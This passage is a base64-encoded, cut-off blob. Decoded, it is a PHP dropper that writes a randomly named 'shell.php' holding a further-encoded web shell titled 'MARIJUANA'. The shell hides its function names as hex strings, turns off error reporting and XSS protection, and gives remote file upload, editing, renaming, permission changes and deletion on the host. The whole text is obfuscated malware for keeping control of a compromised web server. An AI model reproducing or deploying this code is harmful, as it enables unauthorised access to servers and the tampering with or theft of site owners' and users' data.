k7CmlmKCFkZWZpbmVkKCJQSFBfRU9MIikpCnsKICAgIGRlZmluZSgiUEhQX0VPTCIsICJcbiIpOwp9CgppZighZGVmaW5lZCgiRElSRUNUT1JZX1NFUEFSQVRPUiIpKQp7CiAgICBkZWZpbmUoIkRJUkVDVE9SWV9TRVBBUkFUT1IiLCAiLyIpOwp9CgpmdW5jdGlvbiBnZW5lcmF0ZVJhbmRvbVN0cmluZygkbGVuZ3RoID0gMTApCnsKICAgICRjaGFyYWN0ZXJzID0gJzAxMjM0NTY3ODlhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eic7CiAgICAkY2hhcmFjdGVyc0xlbmd0aCA9IHN0cmxlbigkY2hhcmFjdGVycyk7CiAgICAkcmFuZG9tU3RyaW5nID0gJyc7CiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgJHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1tyYW5kKDAsICRjaGFyYWN0ZXJzTGVuZ3RoIC0gMSldOwogICAgfQogICAgcmV0dXJuICRyYW5kb21TdHJpbmcgLiAic2hlbGwucGhwIjsKfQoKJHBheWxvYWRfZmlsZSA9ICJQRDl3YUhBZ2FHVmhaR1Z5S0NKWUxWaFRVeTFRY205MFpXTjBhVzl1T2lBd0lpazdiMkpmYzNSaGNuUW9LVHR6WlhSZmRHbHRaVjlzYVcxcGRDZ3dLVHRsY25KdmNsOXlaWEJ2Y25ScGJtY29NQ2s3YVc1cFgzTmxkQ2duWkdsemNHeGhlVjlsY25KdmNuTW5MQ0JHUVV4VFJTazdDaVJCY25KaGVTQTlJRnNLQ1Frbk56QTJPRGN3TldZM05UWmxOakUyWkRZMUp5d0tDUWtuTnpBMk9EY3dOelkyTlRjeU56TTJPVFptTm1VbkxBb0pDU2MyTXpZNE5qUTJPVGN5Snl3S0NRa25OamMyTlRjME5qTTNOelkwSnl3S0NRa25OekEzTWpZMU5qYzFaamN6TnpBMll6WTVOelFuTEFvSkNTYzJNelptTnpBM09TY3NDZ2tKSnpZMk5qazJZelkxTldZMk56WTFOelExWmpZek5tWTJaVGMwTmpVMlpUYzBOek1uTEFvSkNTYzJNall4TnpNMk5UTTJNelExWmpZME5qVTJNelptTmpRMk5TY3NDZ2tKSnpZNU56TTFaalkwTmprM01pY3NDZ2tKSnpabU5qSTFaalkxTm1VMk5EVm1Oak0yWXpZMU5qRTJaVEk0TWprellpY3NDZ2tKSnpjMU5tVTJZelk1Tm1VMllpY3NDZ2tKSnpaa05tSTJORFk1TnpJbkxBb0pDU2MyTXpZNE5tUTJaalkwSnl3S0NRa25Oek0yTXpZeE5tVTJORFk1TnpJbkxBb0pDU2MzTXpjME56STFaamN5TmpVM01EWmpOakUyTXpZMUp5d0tDUWtuTmpnM05EWmtObU0zTXpjd05qVTJNelk1TmpFMll6WXpOamcyTVRjeU56TW5MQW9KQ1NjM05qWXhOekkxWmpZME56VTJaRGN3Snl3S0NRa25OalkyWmpjd05qVTJaU2NzQ2drSkp6WTJOemMzTWpZNU56UTJOU2NzQ2drSkp6WTJOak0yWXpabU56TTJOU2NzQ2drSkp6WTBOakUzTkRZMUp5d0tDUWtuTmpZMk9UWmpOalUyWkRjME5qazJaRFkxSnl3S0NRa25Oek0zTlRZeU56TTNORGN5Snl3S0NRa25Oek0zTURjeU5qazJaVGMwTmpZbkxBb0pDU2MyTmpZNU5tTTJOVGN3TmpVM01qWmtOek1uTEFvSkNTYzNORFptTnpVMk16WTRKeXdLQ1Frbk5qWTJPVFpqTmpVMVpqWTFOemcyT1Rjek56UTNNeWNzQ2drSkp6Y3lOalUyWlRZeE5tUTJOU2NzQ2drSkp6WTVOek0xWmpZeE56STNNall4TnprbkxBb0pDU2MyT1Rjek5XWTJaall5Tm1FMk5UWXpOelFuTEFvSkNTYzNNemMwTnpJM01EWm1Oek1uTEFvSkNTYzJPVGN6TldZM056Y3lOamszTkRZeE5qSTJZelkxSnl3S0NRa25OamszTXpWbU56STJOVFl4TmpRMk1UWXlObU0yTlNjc0Nna0pKemN6TnpRM01qYzBObVkzTkRZNU5tUTJOU2NzQ2drSkp6WTJOamsyWXpZMU56TTJPVGRoTmpVbkxBb0pDU2MzTWpaa05qUTJPVGN5Snl3S0NRa25ObVkyTWpWbU5qYzJOVGMwTldZMk16WmpOalUyTVRabEp5d0tDUWtuTnpJMk5UWXhOalEyTmpZNU5tTTJOU2NzQ2drSkp6WXhOek0zTXpZMU56STNOQ2NzQ2wwN0NpUmZYMThnUFNCamIzVnVkQ2drUVhKeVlYa3BPd3BtYjNJb0pHazlNRHNrYVR3a1gxOWZPeVJwS3lzcElIc0tDU1JIVGtwYlhTQTlJSFZvWlhnb0pFRnljbUY1V3lScFhTazdDbjBLUHo0S1BDRkVUME5VV1ZCRklHaDBiV3crQ2drOGFIUnRiQ0JrYVhJOUltRjFkRzhpSUd4aGJtYzlJbVZ1TFZWVElqNEtDZ2tKUEdobFlXUStDZ2tKQ1R4dFpYUmhJR05vWVhKelpYUTlJbFZVUmkwNElqNEtDUWtKUEcxbGRHRWdibUZ0WlQwaWNtOWliM1J6SWlCamIyNTBaVzUwUFNKT1QwbE9SRVZZTENCT1QwWlBURXhQVnlJK0Nnb0pDUWtKUEhScGRHeGxQazFCVWtsS1ZVRk9RVHd2ZEdsMGJHVStDZ29KQ1FrOGJHbHVheUJ5Wld3OUltbGpiMjRpSUdoeVpXWTlJaTh2TUhnMVlUUTFOVFUxTXk1bmFYUm9kV0l1YVc4dlRVRlNTVXBWUVU1QkwybGpiMjR1Y0c1bklpQXZQZ29KQ1FrOGJHbHVheUJ5Wld3OUluTjBlV3hsYzJobFpYUWlJR2h5WldZOUlpOHZNSGcxWVRRMU5UVTFNeTVuYVhSb2RXSXVhVzh2VFVGU1NVcFZRVTVCTDIxaGFXNHVZM056SWlCMGVYQmxQU0owWlhoMEwyTnpjeUkrQ2dvSkNRazhjMk55YVhCMElITnlZejBpTHk5aGFtRjRMbWR2YjJkc1pXRndhWE11WTI5dEwyRnFZWGd2YkdsaWN5OXFjWFZsY25rdk15NHpMakV2YW5GMVpYSjVMbTFwYmk1cWN5SStQQzl6WTNKcGNIUStDZ2tKQ1R4elkzSnBjSFFnYzNKalBTSXZMMk5rYm1wekxtTnNiM1ZrWm14aGNtVXVZMjl0TDJGcVlYZ3ZiR2xpY3k5dWIzUnBabmt2TUM0MExqSXZibTkwYVdaNUxtMXBiaTVxY3lJK1BDOXpZM0pwY0hRK0Nna0pQQzlvWldGa1Bnb0tDUWs4WW05a2VUNEtDUWtKUEdobFlXUmxjajRLQ1FrSkNUeGthWFlnWTJ4aGMzTTlJbmtnZUNJK0Nna0pDUWtKUEdFZ1kyeGhjM005SW1GcWVDSWdhSEpsWmowaVBEOXdhSEFnWldOb2J5QmlZWE5sYm1GdFpTZ2tYMU5GVWxaRlVsc25VRWhRWDFORlRFWW5YU2s3UHo0aVBnb0pDUWtKQ1FsTlFWSkpTblZCVGtFS0NRa0pDUWs4TDJFK0Nna0pDUWs4TDJScGRqNEtDZ2tKQ1FrOFpHbDJJR05zWVhOelBTSnhJSGdnZHlJK0Nna0pDUWtKSmlNNE1qRXlPeUJFU1U5VElDWWpPREl4TWpzZ1RrOGdKaU00TWpFeU95QkRVa1ZCSUNZak9ESXhNanNnVGtGRVFTQW1Jemd5TVRJN0lFVk9JQ1lqT0RJeE1qc2dWa0ZPVHlBbUl6Z3lNVEk3Q2drSkNRazhMMlJwZGo0S0NRa0pDUW9KQ1FrOEwyaGxZV1JsY2o0S0Nna0pDVHhoY25ScFkyeGxQZ29KQ1FrSlBHUnBkaUJqYkdGemN6MGlhU0krQ2drSkNRa0pQR2tnWTJ4aGMzTTlJbVpoY2lCbVlTMW9aR1FpUGp3dmFUNEtDUWtKQ1FrOFAzQm9jQ0JsWTJodklDUkhUa3BiTUYwb0tUcy9QZ29LQ1FrSkNRazhZbklnTHo0S0Nna0pDUWtKUEdrZ1kyeGhjM005SW1aaGNpQm1ZUzFzYVdkb2RHSjFiR0lpUGp3dmFUNGdKblJvYVc1emNEc21kR2hwYm5Od096eGlQbE5QUmxRZ0lEbzhMMkkrSUR3L2NHaHdJR1ZqYUc4Z0pGOVRSVkpXUlZKYkoxTkZVbFpGVWw5VFQwWlVWMEZTUlNkZE96OCtJRHhpUGxCSVVDQTZQQzlpUGlBOFAzQm9jQ0JsWTJodklDUkhUa3BiTVYwb0tUcy9QZ29LQ1FrSkNRazhZbklnTHo0S0Nna0pDUWtKUEdrZ1kyeGhjM005SW1aaGNpQm1ZUzFtYjJ4a1pYSWlQand2YVQ0S0NRa0pDUWtLQ1FrSkNRazhQM0JvY0FvSkNRa0pDV2xtS0dsemMyVjBLQ1JmUjBWVVd5SmtJbDBwS1NCN0Nna0pDUWtKQ1NSa0lEMGdkV2hsZUNna1gwZEZWRnNpWkNKZEtUc0tDUWtKQ1FrSkpFZE9TbHN5WFNoMWFHVjRLQ1JmUjBWVVd5SmtJbDBwS1RzS0NRa0pDUWw5Q2drSkNRa0paV3h6WlNCN0Nna0pDUWtKQ1NSa0lEMGdKRWRPU2xzelhTZ3BPd29KQ1FrSkNYMEtDUWtKQ1Fra2F5QTlJQ1JIVGtwYk5GMG9JaThvWEZ4Y2ZGd3ZLUzhpTENBa1pDQXBPd29KQ1FrSkNXWnZjbVZoWTJnZ0tDUnJJR0Z6SUNSdElEMCtJQ1JzS1NCN0lBb0pDUWtKQ1FscFppZ2tiRDA5SnljZ0ppWWdKRzA5UFRBcElIc0tDUWtKQ1FrSkNXVmphRzhnSnp4aElHTnNZWE56UFNKaGFuZ2lJR2h5WldZOUlqOWtQVEptSWo0dlBDOWhQaWM3Q2drSkNRa0pDWDBLQ1FrSkNRa0phV1lvSkd3Z1BUMGdKeWNwSUhzZ0Nna0pDUWtKQ1FsamIyNTBhVzUxWlRzS0NRa0pDUWtKZlFvSkNRa0pDUWxsWTJodklDYzhZU0JqYkdGemN6MGlZV3A0SWlCb2NtVm1QU0kvWkQwbk93b0pDUWtKQ1FsbWIzSWdLQ1JwSUQwZ01Ec2dKR2tnUEQwZ0pHMDdJQ1JwS3lzcElIc0tDUWtKQ1FrSkNXVmphRzhnYUdWNEtDUnJXeVJwWFNrN0lBb0pDUWtKQ1FrSmFXWW9KR2tnSVQwZ0pHMHBJSHNLQ1FrSkNRa0pDUWxsWTJodklDY3laaWM3Q2drSkNRa0pDUWw5Q2drSkNRa0pDWDBLQ1FrSkNRa0paV05vYnlBbklqNG5MaVJzTGljOEwyRStMeWM3SUFvSkNRa0pDWDBLQ1FrSkNRay9QZ29LQ1FrSkNRazhZbklnTHo0S0Nna0pDUWs4TDJScGRqNEtDZ2tKQ1FrOFpHbDJJR05zWVhOelBTSjFJajRLQ1FrSkNRazhQM0JvY0NCbFkyaHZJQ1JmVTBWU1ZrVlNXeWRUUlZKV1JWSmZRVVJFVWlkZE96OCtJRHhwSUdOc1lYTnpQU0ptWVhNZ1ptRXRiR2x1YXlJK1BDOXBQZ29KQ1FrSkNUeGljaUF2UGdvS0NRa0pDUWs4WW5JZ0x6NEtDZ2tKQ1FrSlBHWnZjbTBnYldWMGFHOWtQU0p3YjNOMElpQmxibU4wZVhCbFBTSnRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhJajRLQ1FrSkNRa0pQR3hoWW1Wc0lHTnNZWE56UFNKc0lIY2lQZ29KQ1FrSkNRa0pQR2x1Y0hWMElIUjVjR1U5SW1acGJHVWlJRzVoYldVOUltNWJYU0lnYjI1amFHRnVaMlU5SW5Sb2FYTXVabTl5YlM1emRXSnRhWFFvS1NJZ2JYVnNkR2x3YkdVK0lDWnVZbk53TzFWUVRFOUJSQW9KQ1FrSkNRazhMMnhoWW1Wc1BpWnVZbk53T3dvSkNRa0pDVHd2Wm05eWJUNEtDZ2tKQ1FrSlBEOXdhSEFLQ1FrSkNRa2tiMThnUFNCYklBb0pDUWtKQ1FrSkp6eHpZM0pwY0hRK0pDNXViM1JwWm5rb0lpY3NDZ2tKQ1FrSkNRa25JaXdnZXlCamJHRnpjMDVoYldVNklqRWlMR0YxZEc5SWFXUmxSR1ZzWVhrNklESXdNREFzY0c5emFYUnBiMjQ2SW14bFpuUWdZbTkwZEc5dElpQjlLVHM4TDNOamNtbHdkRDRuQ2drSkNRa0pDVjA3Q2drSkNRa0pKR1lnUFNBa2IxOWJNRjB1SjA5TElTY3VKRzlmV3pGZE93b0pDUWtKQ1NSbklEMGdKRzlmV3pCZExpZEZVaUVuTGlSdlgxc3hYVHNLQ1FrSkNRbHBaaWhwYzNObGRDZ2tYMFpKVEVWVFd5SnVJbDBwS1NCN0Nna0pDUWtKQ1NSNklEMGdKRjlHU1V4RlUxc2liaUpkV3lKdVlXMWxJbDA3Q2drSkNRa0pDU1J5SUQwZ1kyOTFiblFvSkhvcE93b0pDUWtKQ1FsbWIzSW9JQ1JwUFRBZ095QWthU0E4SUNSeUlEc2dKR2tyS3lBcElIc0tDUWtKQ1FrSkNXbG1LQ1JIVGtwYk5WMG9KRjlHU1V4RlUxc2liaUpkV3lKMGJYQmZibUZ0WlNKZFd5UnBYU3dnSkhwYkpHbGRLU2tnZXdvSkNRa0pDUWtKQ1dWamFHOGdKR1k3Q2drSkNRa0pDUWw5Q2drSkNRa0pDUWxsYkhObElIc0tDUWtKQ1FrSkNRbGxZMmh2SUNSbk93b0pDUWtKQ1FrSmZRb0pDUWtKQ1FsOUNna0pDUWtKZlFvSkNRa0pDVDgrQ2dvSkNRa0pQQzlrYVhZK0Nna0pDUWtKUEQ5d2FIQUtDUWtKQ1Fra1lWOGdQU0FuUEhSaFlteGxJR05sYkd4emNHRmphVzVuUFNJd0lpQmpaV3hzY0dGa1pHbHVaejBpTnlJZ2QybGtkR2c5SWpFd01DVWlQZ29KQ1FrSkNRazhkR2hsWVdRK0Nna0pDUWtKQ1FrOGRISStDZ2tKQ1FrSkNRa0pQSFJvUGljN0Nna0pDUWtKSkdKZklEMGdKend2ZEdnK0Nna0pDUWtKQ1FrOEwzUnlQZ29KQ1FrSkNRazhMM1JvWldGa1Bnb0pDUWtKQ1FrOGRHSnZaSGsrQ2drSkNRa0pDUWs4ZEhJK0Nna0pDUWtKQ1FrSlBIUmtQand2ZEdRK0Nna0pDUWtKQ1FrOEwzUnlQZ29KQ1FrSkNRa0pQSFJ5UGdvSkNRa0pDUWtKQ1R4MFpDQmpiR0Z6Y3owaWVDSStKenNLQ1FrSkNRa2tZMThnUFNBblBDOTBaRDRLQ1FrSkNRa0pDVHd2ZEhJK0Nna0pDUWtKQ1R3dmRHSnZaSGsrQ2drSkNRa0pQQzkwWVdKc1pUNG5Pd29KQ1FrSkNTUmtYeUE5SUNjOFluSWdMejRLQ1FrSkNRa0pDUWtKQ1R4aWNpQXZQZ29KQ1FrSkNRa0pDUWtKUEdsdWNIVjBJSFI1Y0dVOUluTjFZbTFwZENJZ1kyeGhjM005SW5jaUlIWmhiSFZsUFNJbWJtSnpjRHRQU3ladVluTndPeUlnTHo0S0NRa0pDUWtKQ1FrSlBDOW1iM0p0UGljN0Nna0pDUWtKYVdZb2FYTnpaWFFvSkY5SFJWUmJJbk1pWFNrcElIc0tDUWtKQ1FrSlpXTm9ieUFrWVY4dWRXaGxlQ2drWDBkRlZGc2ljeUpkS1M0a1lsOHVKd29KQ1FrSkNRa0pDUWs4ZEdWNGRHRnlaV0VnY21WaFpHOXViSGs5SW5sbGN5SStKeTRrUjA1S1d6RTFYU2drUjA1S1d6WmRLSFZvWlhnb0pGOUhSVlJiSW5NaVhTa3BLUzRuUEM5MFpYaDBZWEpsWVQ0S0NRa0pDUWtKQ1FrSlBHSnlJQzgrQ2drSkNRa0pDUWtKQ1R4aWNpQXZQZ29KQ1FrSkNRa0pDUWs4YVc1d2RYUWdiMjVqYkdsamF6MGliRzlqWVhScGIyNHVhSEpsWmoxY0p6OWtQU2N1SkY5SFJWUmJJbVFpWFM0bkptVTlKeTRrWDBkRlZGc2ljeUpkTGlkY0p5SWdkSGx3WlQwaWMzVmliV2wwSWlCamJHRnpjejBpZHlJZ2RtRnNkV1U5SWladVluTndPMFZFU1ZRbWJtSnpjRHNpSUM4K0Nna0pDUWtKQ1FrSkp5NGtZMTg3Q2drSkNRa0pmUW9KQ1FrSkNXVnNjMlZwWmlocGMzTmxkQ2drWDBkRlZGc2llU0pkS1NrZ2V3b0pDUWtKQ1FsbFkyaHZJQ1JoWHk0blVrVlJWVVZUVkNjdUpHSmZMaWNLQ1FrSkNRa0pDUWtKUEdadmNtMGdiV1YwYUc5a1BTSndiM04wSWo0S0NRa0pDUWtKQ1FrSkNUeHBibkIxZENCamJHRnpjejBpZUNJZ2RIbHdaVDBpZEdWNGRDSWdibUZ0WlQwaU1TSWdMejRtYm1KemNEc21ibUp6Y0RzS0NRa0pDUWtKQ1FrSkNUeHBibkIxZENCamJHRnpjejBpZUNJZ2RIbHdaVDBpZEdWNGRDSWdibUZ0WlQwaU1pSWdMejRLQ1FrSkNRa0pDUWtKQ1NjdUpHUmZMaWNLQ1FrSkNRa0pDUWtKUEdKeUlDOCtDZ2tKQ1FrSkNRa0pDVHgwWlhoMFlYSmxZU0J5WldGa2IyNXNlVDBpZVdWeklqNG5Pd29LQ1FrSkNRa0pDUWtKYVdZb2FYTnpaWFFvSkY5UVQxTlVXeUl5SWwwcEtTQjdDZ2tKQ1FrSkNRa0pDUWxsWTJodklDUkhUa3BiTVRWZEtHUnlaU2drWDFCUFUxUmJJakVpWFN3Z0pGOVFUMU5VV3lJeUlsMHBLVHNLQ1FrSkNRa0pDUWtKZlFvS0NRa0pDUWtKQ1FsbFkyaHZJQ2M4TDNSbGVIUmhjbVZoUGdvSkNRa0pDUWtKQ1NjdUpHTmZPd29KQ1FrSkNYMEtDUWtKQ1FsbGJITmxhV1lvYVhOelpYUW9KRjlIUlZSYkltVWlYU2twSUhzS0NRa0pDUWtKWldOb2J5QWtZVjh1ZFdobGVDZ2tYMGRGVkZzaVpTSmRLUzRrWWw4dUp3b0pDUWtKQ1FrSkNRazhabTl5YlNCdFpYUm9iMlE5SW5CdmMzUWlQZ29KQ1FrSkNRa0pDUWtKUEhSbGVIUmhjbVZoSUc1aGJXVTlJbVVpSUdOc1lYTnpQU0p2SWo0bkxpUkhUa3BiTVRWZEtDUkhUa3BiTmwwb2RXaGxlQ2drWDBkRlZGc2laU0pkS1NrcExpYzhMM1JsZUhSaGNtVmhQZ29KQ1FrSkNRa0pDUWtKUEdKeUlDOCtDZ2tKQ1FrSkNRa0pDUWs4WW5JZ0x6NEtDUWtKQ1FrSkNRa0pDVHh6Y0dGdUlHTnNZWE56UFNKM0lqNUNRVk5GTmpROEwzTndZVzQrSURvS0NRa0pDUWtKQ1FrSkNUeHpaV3hsWTNRZ2FXUTlJbUkyTkNJZ2JtRnRaVDBpWWpZMElqNEtDUWtKQ1FrSkNRa0pDUWs4YjNCMGFXOXVJSFpoYkhWbFBTSXdJajVPVHp3dmIzQjBhVzl1UGdvSkNRa0pDUWtKQ1FrSkNUeHZjSFJwYjI0Z2RtRnNkV1U5SWpFaVBsbEZVend2YjNCMGFXOXVQZ29KQ1FrSkNRa0pDUWtKUEM5elpXeGxZM1ErQ2drSkNRa0pDUWtKQ1FrbkxpUmtYeTRuQ2drSkNRa0pDUWtKSnk0a1kxOHVKd29KQ1FrSkNRa0pDUW9KQ1FrSkNUeHpZM0pwY0hRK0Nna0pDUWtKQ1NRb0lpTmlOalFpS1M1amFHRnVaMlVvWm5WdVkzUnBiMjRvS1NCN0Nna0pDUWtKQ1FscFppZ2tLQ0lqWWpZMElHOXdkR2x2YmpwelpXeGxZM1JsWkNJcExuWmhiQ2dwSUQwOUlEQXBJSHNLQ1FrSkNRa0pDUWwyWVhJZ1dDQTlJQ1FvSW5SbGVIUmhjbVZoSWlrdWRtRnNLQ2s3Q2drSkNRa0pDUWtKZG1GeUlGb2dQU0JoZEc5aUtGZ3BPd29KQ1FrSkNRa0pDU1FvSW5SbGVIUmhjbVZoSWlrdWRtRnNLRm9wT3dvSkNRa0pDUWtKZlFvSkNRa0pDUWtKWld4elpTQjdDZ2tKQ1FrSkNRa0pkbUZ5SUU0Z1BTQWtLQ0owWlhoMFlYSmxZU0lwTG5aaGJDZ3BPd29KQ1FrSkNRa0pDWFpoY2lCSklEMGdZblJ2WVNoT0tUc0tDUWtKQ1FrSkNRa2tLQ0owWlhoMFlYSmxZU0lwTG5aaGJDaEpLVHNLQ1FrSkNRa0pDWDBLQ1FrSkNRa0pmU2s3Q2drSkNRa0pQQzl6WTNKcGNIUStKenNLQ1FrSkNRbHBaaWhwYzNObGRDZ2tYMUJQVTFSYkltVWlYU2twSUhzS0NRa0pDUWtKYVdZb0pGOVFUMU5VV3lKaU5qUWlYU0E5UFNBaU1TSXBJSHNLQ1FrSkNRa0pDU1JsZUNBOUlDUkhUa3BiTjEwb0pGOVFUMU5VV3lKbElsMHBPd29KQ1FrSkNRbDlDZ2tKQ1FrSkNXVnNjMlVnZXdvSkNRa0pDUWtKSkdWNElEMGdKRjlRVDFOVVd5SmxJbDA3Q2drSkNRa0pDWDBLQ1FrSkNRa0pKR1p3SUQwZ0pFZE9TbHN4TjEwb2RXaGxlQ2drWDBkRlZGc2laU0pkS1N3Z0ozY25LVHNLQ1FrSkNRa0phV1lvSkVkT1Nsc3hPRjBvSkdad0xDQWtaWGdwS1NCN0Nna0pDUWtKQ1FsUFN5Z3BPd29KQ1FrSkNRbDlDZ2tKQ1FrSkNXVnNjMlVnZXdvSkNRa0pDUWtKUlZJb0tUc0tDUWtKQ1FrSmZRb0pDUWtKQ1Fra1IwNUtXekU1WFNna1puQXBPd29KQ1FrSkNTQWdmUW9KQ1FrSkNYMEtDUWtKQ1FsbGJITmxhV1lvYVhOelpYUW9KRjlIUlZSYkluZ2lYU2twSUhzS0NRa0pDUWtKY21WaktIVm9aWGdvSkY5SFJWUmJJbmdpWFNrcE93b0pDUWtKQ1FscFppZ2tSMDVLV3pJMlhTaDFhR1Y0S0NSZlIwVlVXeUo0SWwwcEtTa2dld29KQ1FrSkNRa0pSVklvS1RzS0NRa0pDUWtKZlFvSkNRa0pDUWxsYkhObElIc0tDUWtKQ1FrSkNVOUxLQ2s3Q2drSkNRa0pDWDBLQ2drSkNRa0pmUW9KQ1FrSkNXVnNjMlZwWmlocGMzTmxkQ2drWDBkRlZGc2lkQ0pkS1NrZ2V3b0pDUWtKQ1FsbFkyaHZJQ1JoWHk1MWFHVjRLQ1JmUjBWVVd5SjBJbDBwTGlSaVh5NG5DZ2tKQ1FrSkNRa0pDVHhtYjNKdElHRmpkR2x2YmowaUlpQnRaWFJvYjJROUluQnZjM1FpUGdvSkNRa0pDUWtKQ1FrSlBHbHVjSFYwSUc1aGJXVTlJblFpSUdOc1lYTnpQU0o0SWlCMGVYQmxQU0owWlhoMElpQjJZV3gxWlQwaUp5NGtSMDVLV3pJd1hTZ2lXUzF0TFdRZ1NEcHBJaXdnSkVkT1Nsc3lNVjBvZFdobGVDZ2tYMGRGVkZzaWRDSmRLU2twTGljaVBnb0pDUWtKQ1FrSkNRa0pKeTRrWkY4dUp3b0pDUWtKQ1FrSkNTY3VKR05mT3dvSkNRa0pDV2xtS0NBaFpXMXdkSGtvSkY5UVQxTlVXeUowSWwwcElDa2dld29KQ1FrSkNRa2tjQ0E5SUNSSFRrcGJNek5kS0NSZlVFOVRWRnNpZENKZEtUc0tDUWtKQ1FrSmFXWW9KSEFwSUhzS0NRa0pDUWtKQ1dsbUtDRWtSMDVLV3pJMVhTaDFhR1Y0S0NSZlIwVlVXeUowSWwwcExDUndMQ1J3S1NrZ2V3b0pDUWtKQ1FrSkNVVlNLQ2s3Q2drSkNRa0pDUWw5Q2drSkNRa0pDUWxsYkhObElIc0tDUWtKQ1FrSkNRbFBTeWdwT3dvSkNRa0pDUWtKZlFvSkNRa0pDUWw5Q2drSkNRa0pDV1ZzYzJVZ2V3b0pDUWtKQ1FrSlJWSW9LVHNLQ1FrSkNRa0pmUW9KQ1FrSkNTQWdmUW9KQ1FrSkNYMEtDUWtKQ1FsbGJITmxhV1lvYVhOelpYUW9KRjlIUlZSYkltc2lYU2twSUhzS0NRa0pDUWtKWldOb2J5QWtZVjh1ZFdobGVDZ2tYMGRGVkZzaWF5SmRLUzRrWWw4dUp3b0pDUWtKQ1FrSkNRazhabTl5YlNCaFkzUnBiMjQ5SWlJZ2JXVjBhRzlrUFNKd2IzTjBJajRLQ1FrSkNRa0pDUWtKQ1R4cGJuQjFkQ0J1WVcxbFBTSmlJaUJqYkdGemN6MGllQ0lnZEhsd1pUMGlkR1Y0ZENJZ2RtRnNkV1U5SWljdUpFZE9TbHN5TWwwb0pFZE9TbHN5TTEwb0p5VnZKeXdnSkVkT1Nsc3lORjBvZFdobGVDZ2tYMGRGVkZzaWF5SmRLU2twTENBdE5Da3VKeUkrQ2drSkNRa0pDUWtKQ1FrbkxpUmtYeTRuQ2drSkNRa0pDUWtKSnk0a1kxODdDZ2tKQ1FrSmFXWW9JV1Z0Y0hSNUtDUmZVRTlUVkZzaVlpSmRLU2tnZXdvSkNRa0pDUWtrZUNBOUlDUmZVRTlUVkZzaVlpSmRPd29KQ1FrSkNRa2tkQ0E5SURBN0Nna0pDUWtKWm05eUtDUnBQWE4wY214bGJpZ2tlQ2t0TVRza2FUNDlNRHN0TFNScEtRb0pDUWtKQ1Fra2RDQXJQU0FvYVc1MEtTUjRXeVJwWFNwd2IzY29PQ3dnS0hOMGNteGxiaWdrZUNrdEpHa3RNU2twT3dvSkNRa0pDV2xtS0NFa1IwNUtXekV5WFNoMWFHVjRLQ1JmUjBWVVd5SnJJbDBwTENBa2RDa3BJSHNLQ1FrSkNRa0pSVklvS1RzS0NRa0pDUWw5Q2drSkNRa0paV3h6WlNCN0Nna0pDUWtKQ1U5TEtDazdDZ2tKQ1FrSkNTQWdmUW9KQ1FrSkNRbDlDZ2tKQ1FrSmZRb0pDUWtKQ1dWc2MyVnBaaWhwYzNObGRDZ2tYMGRGVkZzaWJDSmRLU2tnZXdvSkNRa0pDUWxsWTJodklDUmhYeTRuSzBSSlVpY3VKR0pmTGljS0NRa0pDUWtKQ1FrSlBHWnZjbTBnWVdOMGFXOXVQU0lpSUcxbGRHaHZaRDBpY0c5emRDSStDZ2tKQ1FrSkNRa0pDUWs4YVc1d2RYUWdibUZ0WlQwaWJDSWdZMnhoYzNNOUluZ2lJSFI1Y0dVOUluUmxlSFFpSUhaaGJIVmxQU0lpUGdvSkNRa0pDUWtKQ1FrSkp5NGtaRjh1SndvSkNRa0pDUWtKQ1NjdUpHTmZPd29KQ1FrSkNXbG1LR2x6YzJWMEtDUmZVRTlUVkZzaWJDSmRLU2tnZXdvSkNRa0pDUWxwWmlnaEpFZE9TbHN4TVYwb0pGOVFUMU5VV3lKc0lsMHBLU0I3Q2drSkNRa0pDUWxGVWlncE93b0pDUWtKQ1FsOUNna0pDUWtKQ1dWc2MyVWdld29KQ1FrSkNRa0pUMHNvS1RzS0NRa0pDUWtKZlFvSkNRa0pDU0FnZlFvSkNRa0pDWDBLQ1FrSkNRbGxiSE5sYVdZb2FYTnpaWFFvSkY5SFJWUmJJbkVpWFNrcElIc0tDUWtKQ1FrSmFXWW9KRWRPU2xzeE1GMG9YMTlHU1V4RlgxOHBLU0I3Q2drSkNRa0pDUWtrUjA1S1d6TTRYU2drUjA1S1d6bGRLVHNLQ1FrSkNRa0pDV2hsWVdSbGNpZ2lURzlqWVhScGIyNDZJQ0l1WW1GelpXNWhiV1VvSkY5VFJWSldSVkpiSjFCSVVGOVRSVXhHSjEwcExpSWlLVHNLQ1FrSkNRa0pDV1Y0YVhRb0tUc0tDUWtKQ1FrSmZRb0pDUWtKQ1FsbGJITmxJSHNLQ1FrSkNRa0pDV1ZqYUc4Z0pHYzdDZ2tKQ1FrSkNYMEtDUWtKQ1FsOUNna0pDUWtKWld4elpXbG1LR2x6YzJWMEtDUmZSMFZVV3lKdUlsMHBLU0I3Q2drSkNRa0pDV1ZqYUc4Z0pHRmZMaWNyUmtsTVJTY3VKR0pmTGljS0NRa0pDUWtKQ1FrSlBHWnZjbTBnWVdOMGFXOXVQU0lpSUcxbGRHaHZaRDBpY0c5emRDSStDZ2tKQ1FrSkNRa0pDUWs4YVc1d2RYUWdibUZ0WlQwaWJpSWdZMnhoYzNNOUluZ2lJSFI1Y0dVOUluUmxlSFFpSUhaaGJIVmxQU0lpUGdvSkNRa0pDUWtKQ1FrSkp5NGtaRjh1SndvSkNRa0pDUWtKQ1NjdUpHTmZPd29KQ1FrSkNXbG1LR2x6YzJWMEtDUmZVRTlUVkZzaWJpSmRLU2tnZXdvSkNRa0pDUWxwWmlnaEpFZE9TbHN5TlYwb0pGOVFUMU5VV3lKdUlsMHBLU0I3Q2drSkNRa0pDUWxGVWlncE93b0pDUWtKQ1FsOUNna0pDUWtKQ1dWc2MyVWdld29KQ1FrSkNRa0pUMHNvS1RzS0NRa0pDUWtKZlFvSkNRa0pDU0FnZlFvSkNRa0pDWDBLQ1FrSkNRbGxiSE5sYVdZb2FYTnpaWFFvSkY5SFJWUmJJbklpWFNrcElIc0tDUWtKQ1FrSlpXTm9ieUFrWVY4dWRXaGxlQ2drWDBkRlZGc2ljaUpkS1M0a1lsOHVKd29KQ1FrSkNRa0pDUWs4Wm05eWJTQmhZM1JwYjI0OUlpSWdiV1YwYUc5a1BTSndiM04wSWo0S0NRa0pDUWtKQ1FrSkNUeHBibkIxZENCdVlXMWxQU0p5SWlCamJHRnpjejBpZUNJZ2RIbHdaVDBpZEdWNGRDSWdkbUZzZFdVOUlpY3VkV2hsZUNna1gwZEZWRnNpY2lKZEtTN